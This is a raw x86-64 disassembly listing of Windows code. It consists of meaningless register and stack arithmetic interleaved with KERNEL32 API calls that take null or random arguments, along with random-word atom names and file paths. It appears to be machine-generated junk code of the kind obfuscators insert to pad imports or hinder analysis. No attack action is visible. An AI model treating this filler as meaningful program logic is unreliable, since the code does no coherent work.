movsx ecx, word [rsp + 0xbc0]
add eax, ecx
mov word [rsp + 0xbb0], ax
mov r9d, 2
lea r8, [rsp + 0x9c98]
mov rdx, qword [rsp + 0xa440]
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x461c], eax
lea rax, [rsp + 0xe2c]
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0x99a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa248]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76], al
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x66]
mov qword [rsp + 0xa550], rax
mov eax, dword [rsp + 0x4598]
imul eax, dword [rsp + 0x43dc]
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x99d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa428]
mov qword [rcx], rax
lea rax, [rsp + 0x9cf8]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
lea rax, [rsp + 0xba0]
mov qword [0x1401e7660], rax
lea rax, [0x1401e6040]
mov qword [rsp + 0xa560], rax
lea rcx, [rsp + 0xa568]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x99c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov word [rsp + 0xe44], ax
mov eax, dword [rsp + 0x44d0]
mov ecx, dword [rsp + 0x4690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44f0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1372
mov r9d, 0x102
mov r8d, 0xedd6af06
mov edx, 2
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4414], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0xa570], rax
mov rax, qword [rsp + 0xa320]
mov ecx, dword [rsp + 0x4604]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45a8], eax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9de0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7419], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbb8], ax
movzx eax, word [rsp + 0xba8]
mov word [rsp + 0xe48], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [0x1401e75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd8]
xor eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x9ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa218]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x9128]
mov qword [rsp + 0xa578], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rcx, str.trebles_Weightlessness_touts_escarpments
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xc54], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa353
mov rcx, qword [rsp + 0x9f78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0x9f08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov rcx, qword [rsp + 0x9dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x46f4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4258], eax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
mov rax, qword [rsp + 0xa400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e605a], al
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
cdq
mov ecx, 0x28b
idiv ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
movzx eax, word [rsp + 0xe24]
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x9ca8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7600]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd3]
sub eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0xa0e8]
mov qword [rsp + 0xa580], rax
mov rax, qword [rsp + 0x96f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c00]
mov eax, dword [rax]
mov dword [rsp + 0x46f8], eax
mov rax, qword [rsp + 0xa238]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [0x1401e7488]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e75d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0xca], al
mov r9d, 0x1a93
xor r8d, r8d
lea rdx, [rsp + 0x9b48]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46fc], eax
lea rax, [rsp + 0x95]
mov qword [rsp + 0xa588], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0xa590], rax
mov rax, qword [rsp + 0x9ac8]
mov rcx, qword [rsp + 0x9c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46f4], eax
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9778]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa348], rax
mov rax, qword [rsp + 0x9288]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x95f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46e0]
shl eax, cl
mov dword [rsp + 0x45d0], eax
lea rax, [rsp + 0xcf8]
mov qword [0x1401e7668], rax
movzx eax, word [rsp + 0xe1c]
mov word [rsp + 0xe50], ax
mov r9d, 1
lea r8, [rsp + 0xa4b8]
mov rdx, qword [rsp + 0x9600]
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4354], eax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x9200]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x99b8]
movzx eax, byte [rax]
mov byte [rsp + 0xd8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xccc]
xor eax, ecx
mov word [rsp + 0xb68], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8ce0], rax
mov eax, dword [rsp + 0x4420]
mov ecx, dword [rsp + 0x4688]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
mov qword [rsp + 0xa5a0], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd94], ax
mov rax, qword [rsp + 0x9ae8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4548]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3f8]
mov qword [rsp + 0xa5a8], rax
lea rax, [rsp + 0xd78]
mov qword [0x1401e7670], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [0x1401e7538]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d80]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xd50]
mov rcx, qword [rsp + 0x9280]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4530], eax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov word [rsp + 0xe54], ax
mov rcx, qword [rsp + 0xa228]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4700], eax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x44a0], eax
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0x452c]
mov dword [rsp + 0x4704], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa5b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43f0], eax
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0x94e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1d0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43e8], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0xa5b8], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x6e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
mov rax, qword [0x1401e7470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe00]
sub eax, ecx
mov word [0x1401e74c0], ax
lea rax, [rsp + 0x61]
mov qword [rsp + 0xa5c0], rax
movzx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ed8]
mov word [rcx], ax
mov rax, qword [rsp + 0x99b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
add eax, ecx
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
lea rax, [rsp + 0x445c]
mov qword [rsp + 0xa5c8], rax
mov rax, qword [rsp + 0xa320]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4670], eax
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0xa5d0], rax
mov rax, qword [rsp + 0x93b0]
movzx ecx, al
mov rax, qword [rsp + 0x90c0]
shr rax, cl
mov qword [rsp + 0xa4e8], rax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0xa5d8], rax
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov word [0x1401e7678], ax
mov rax, qword [rsp + 0x9d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f28]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9b28]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0xa2c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa198]
mov byte [rcx], al
mov rax, qword [0x1401e75d8]
movzx eax, word [rax]
mov word [rsp + 0xe58], ax
mov eax, dword [rsp + 0x4570]
mov ecx, dword [rsp + 0x4378]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46f8], eax
lea rax, [rsp + 0x90e0]
mov qword [rsp + 0xa5e0], rax
mov eax, dword [rsp + 0x4488]
imul eax, dword [rsp + 0x424c]
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x93f0]
mov qword [rcx], rax
lea rax, [rsp + 0xd08]
mov qword [rsp + 0xa5e8], rax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6006], al
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x7b]
sub eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov byte [rsp + 0xd9], al
movsx eax, word [rsp + 0xd2c]
movsx ecx, word [rsp + 0xe4c]
sub eax, ecx
mov word [rsp + 0xc68], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9448]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
lea rax, [rsp + 0x4634]
mov qword [rsp + 0xa5f0], rax
mov dword [rsp + 0x20], 0x1d38
mov r9d, 0x37ef
mov r8d, 0x1a77
mov edx, 0x39bb
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4354], eax
mov rax, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0x9ae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa470]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe5c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0xa4a8]
mov qword [rsp + 0xa5f8], rax
movsx eax, word [rsp + 0xd64]
mov rcx, qword [0x1401e74e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbc4], ax
lea rax, [rsp + 0x6c]
mov qword [0x1401e7680], rax
lea rdx, [rsp + 0xa600]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46c0], eax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0xa608], rax
movsx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe04], ax
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x9468]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa3e0], rax
lea rax, [rsp + 0x87]
mov qword [rsp + 0xa610], rax
mov rax, qword [rsp + 0xa1f8]
mov rcx, qword [rsp + 0x9680]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9188], rax
lea rax, [0x1401e6018]
mov qword [rsp + 0xa618], rax
mov rax, qword [rsp + 0x9500]
movzx ecx, al
mov rax, qword [rsp + 0x9b18]
shr rax, cl
mov rcx, qword [rsp + 0xa070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4538]
movzx ecx, al
mov eax, dword [rsp + 0x42c4]
shl eax, cl
mov dword [rsp + 0x448c], eax
lea rcx, [rsp + 0x9c98]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 2
xor r8d, r8d
mov edx, 0x30c0
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b8], eax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e604e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xc60]
mov word [rsp + 0xe60], ax
mov rax, qword [rsp + 0x9eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
and eax, ecx
mov word [rsp + 0xd7c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4540], eax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0xa620], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4654], eax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa3]
add eax, ecx
mov rcx, qword [rsp + 0xa3c8]
mov byte [rcx], al
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x442c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x445c], eax
mov eax, dword [rsp + 0x4628]
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0xa578]
mov rcx, qword [rsp + 0x99c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0xa2a0]
mov qword [rsp + 0xa628], rax
movsx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60a0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0xdd0]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xbc]
mov qword [rsp + 0xa630], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:gravelledmillstone_terming
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa638], rax
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe48]
and eax, ecx
mov rcx, qword [rsp + 0xa560]
mov word [rcx], ax
mov eax, dword [rsp + 0x44cc]
mov dword [rsp + 0x470c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rdx, [rsp + 0xa450]
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4470], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0xa438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0x9708]
mov qword [rsp + 0xa640], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:GulletsDeathly_swirlsKnifepoint
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x9608]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e746a], al
movsx eax, word [rsp + 0xe00]
movsx ecx, word [rsp + 0xe38]
or eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
lea rax, [rsp + 0xd58]
mov qword [rsp + 0xa650], rax
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0xa2d8]
movzx eax, byte [rax]
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0xa448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8da0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0x9bc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45b4], eax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x4710], eax
mov rax, qword [rsp + 0x99c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9798]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc4]
add eax, ecx
mov byte [0x1401e743a], al
lea rax, [rsp + 0xc88]
mov qword [rsp + 0xa658], rax
movzx eax, byte [0x1401e604f]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov byte [rcx], al
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.seasonally_stinker
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x9818]
movzx eax, word [rax]
mov word [rsp + 0xe64], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x9780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4548]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x98c0]
mov qword [rsp + 0xa660], rax
mov rax, qword [rsp + 0xa570]
mov rcx, qword [rsp + 0x9160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa348], rax
mov eax, dword [rsp + 0x4708]
mov ecx, dword [rsp + 0x4474]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa328]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e605b], al
lea rax, [rsp + 0xae]
mov qword [rsp + 0xa668], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3167
mov r9d, 0x9dc
mov r8d, 0x585f068a
mov edx, 1
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x454c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa670], rax
mov rax, qword [rsp + 0x9bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ec0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbd], al
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0xa678], rax
movzx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0xa230]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x4670]
mov dword [rsp + 0x4714], eax
mov edx, 0xb925a
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x9bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x45b8], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0x9128]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9268], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0xa680], rax
lea rax, [rsp + 0xc30]
mov qword [0x1401e7688], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x9200]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd7], al
lea rax, [rsp + 0xe50]
mov qword [rsp + 0xa688], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa328]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x4690]
mov dword [rsp + 0x4718], eax
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x4370]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
lea rax, [rsp + 0x9800]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0x9c10]
mov rcx, qword [rsp + 0xa0e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e607c], ax
mov rax, qword [rsp + 0x9738]
movzx eax, word [rax]
movzx ecx, word [0x1401e609c]
sub eax, ecx
mov word [rsp + 0xdd0], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xa698], rax
movsx eax, word [rsp + 0xc20]
movsx ecx, word [rsp + 0xbf4]
add eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
mov eax, dword [rsp + 0x4570]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43f8], eax
lea rdx, [rsp + 0x4518]
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
